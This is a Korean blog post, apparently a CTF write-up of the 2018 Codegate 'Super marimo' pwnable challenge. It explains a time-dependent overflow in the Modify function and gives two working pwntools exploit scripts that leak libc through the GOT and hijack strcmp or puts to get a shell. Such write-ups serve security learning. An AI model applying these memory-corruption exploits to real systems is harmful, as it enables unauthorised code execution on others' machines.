HO_9
HO9
HO_9
전체 방문자
오늘
어제
  • 분류 전체보기 (104)
    • Write Up (3)
    • WarGame (21)
      • The Lord of Bufferoverflow(.. (7)
      • The Lord of Sql Injection(L.. (1)
      • Pwnable.kr (1)
      • Pwnable.tw (0)
      • XSS GAME (6)
      • Pwnable.xyz (5)
    • SYSTEM HACKING (49)
      • 기법 (24)
      • 문제 풀이 (24)
    • CODING (2)
      • PYTHON (2)
    • WEB HACKING (1)
    • Plan (0)
    • PROJECT (0)
    • iOS (6)
    • ALGORITHM (0)

블로그 메뉴

  • 홈
  • 태그
  • 미디어로그
  • 위치로그
  • 방명록

공지사항

  • .

인기 글

태그

  • JNDI
  • 아파치
  • 취약점
  • log4j

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HO_9

HO9

2018 Codegate - Super marimo
SYSTEM HACKING/문제 풀이

2018 Codegate - Super marimo

2018. 2. 14. 00:47
728x90

코드게이트 당시에 super marimo문제를 분석하다가 

취약점도 못찾고 끝내서 아쉬워서 풀어본다.문제는 두가지 방식으로 풀어봤다.

첫번째는 strcmp got를 system으로 바꿔서 쉘을 따는 방법, 두번째는 oneshot가젯을 이용해서 푸는 방법으로 풀었다.






main함수에는 여러가지 메뉴들이 있다.

그중에서 View함수안에 있는 Modify를 하는 곳에 취약점이 있다.

확인을 해보자



32*v3으로 값을 받아준다.

그런데 v3에는 time+~~~를 해주는데 time함수는 현재 시간을 return해준다.

시간은 계속 흐른다,그럼 v3에는 흐르는 시간만큼 수가 커질 것이다.

이곳이 취약한 곳이다.이것을 이용해서 다음 구조체를 덮어씌우면 될 것이다.

.

.


처음에는 구조체를 덮어씌우려고 시도를 했는데 잘되지 않았다.

그래서 메모리를 확인을 해보니 marimo의 name과 profile의 포인터 값이 있었다.

그래서 그것을 이용해서 릭을 했다.




분석은 모두 끝났으니 익스플로잇 코드를 확인해보자....



1.use system


#!/usr/bin/python


from pwn import *


p       =       process('./marimo')

l       =       ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

e       =       ELF('./marimo')



raw_input()


def make_marimo(name,profile):

        p.recvuntil(">> ")

        p.sendline("show me the marimo")

        p.recvuntil(">> ")

        p.sendline(name)

        p.recvuntil(">> ")

        p.sendline(profile)


def modify(number,profile):

        p.sendline("V")

        p.recvuntil(">> ")

        p.sendline(number)

        p.recvuntil(">> ")

        p.sendline("M")

        p.recvuntil(">> ")

        p.sendline(profile)

        p.recvuntil(">> ")

        p.sendline("B")



make_marimo("0","0") #first

make_marimo("1","1") #second

sleep(2)


payload  = ''

payload += "A"*56

payload += p64(e.got['srand'])

payload += p64(e.got['strcmp'])


modify("0",payload)

p.recvuntil(">> ")
p.sendline("V")
p.recvuntil(">> ")
p.sendline("1")

p.recvuntil("name : ")

got       = u64(p.recv(6)+"\x00\x00")

libc_addr = got - l.symbols['srand']

system    = libc_addr+l.symbols['system']

print "Leak Got : "+hex(got)
print "Libc addr: "+hex(libc_addr)
print "System   : "+hex(system)

p.recvuntil(">> ")

p.sendline("M")

p.recvuntil(">> ")

p.sendline(p64(system)[:-1]) #sendline으로 개행까지 보내줘야하는데 

p.recvuntil(">> ")                #개행까지보내면 8바이트가넘음 그래서 system함수

p.sendline("B")                      #마지막자리 하나 자르고 개행을 넣음(0이여서 상관없심..)

p.recvuntil(">> ")

p.sendline("sh;")


p.interactive()




2.use oneshot

#!/usr/bin/python

from pwn import *

p = process('./marimo')
l = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
e = ELF('./marimo')


raw_input()

def make_marimo(name,profile):
p.recvuntil(">> ")
p.sendline("show me the marimo")
p.recvuntil(">> ")
p.sendline(name)
p.recvuntil(">> ")
p.sendline(profile)

def modify(number,profile):
p.sendline("V")
p.recvuntil(">> ")
p.sendline(number)
p.recvuntil(">> ")
p.sendline("M")
p.recvuntil(">> ")
p.sendline(profile)
p.recvuntil(">> ")
p.sendline("B")


make_marimo("0","0") #first
make_marimo("1","1") #second
sleep(2)

payload  = ''
payload += "A"*56
payload += p64(e.got['srand'])
payload += p64(e.got['puts'])

modify("0",payload)

p.recvuntil(">> ")
p.sendline("V")
p.recvuntil(">> ")
p.sendline("1")

#print p.recvall(1)
p.recvuntil("name : ")
got   = u64(p.recv(6)+"\x00\x00")
libc_addr = got - l.symbols['srand']
oneshot   = libc_addr+0x45216 #oneshot가젯이 되는게 있고 안되는게 있어서 다사용해봄.

print "Leak Got : "+hex(got)
print "Libc addr: "+hex(libc_addr)
print "Oneshot  : "+hex(oneshot)

p.recvuntil(">> ")
p.sendline("M")
p.recvuntil(">> ")
p.sendline(p64(oneshot))#재귀함수로 puts바로 사용해서 B 할 필요 없음.

p.interactive()


'SYSTEM HACKING > 문제 풀이' 카테고리의 다른 글

BCTF 2016 Bcloud  (0) 2018.03.15
Hack.lu CTF 2014 - oreo  (2) 2018.03.10
HarekazeCTF 2018 - Harekaze Farm (Pwn)  (0) 2018.02.12
HITCON 2017 - Start  (0) 2018.02.11
2016 Codegate -Serial  (0) 2018.02.03
    'SYSTEM HACKING/문제 풀이' 카테고리의 다른 글
    • BCTF 2016 Bcloud
    • Hack.lu CTF 2014 - oreo
    • HarekazeCTF 2018 - Harekaze Farm (Pwn)
    • HITCON 2017 - Start
    HO_9
    HO_9

    티스토리툴바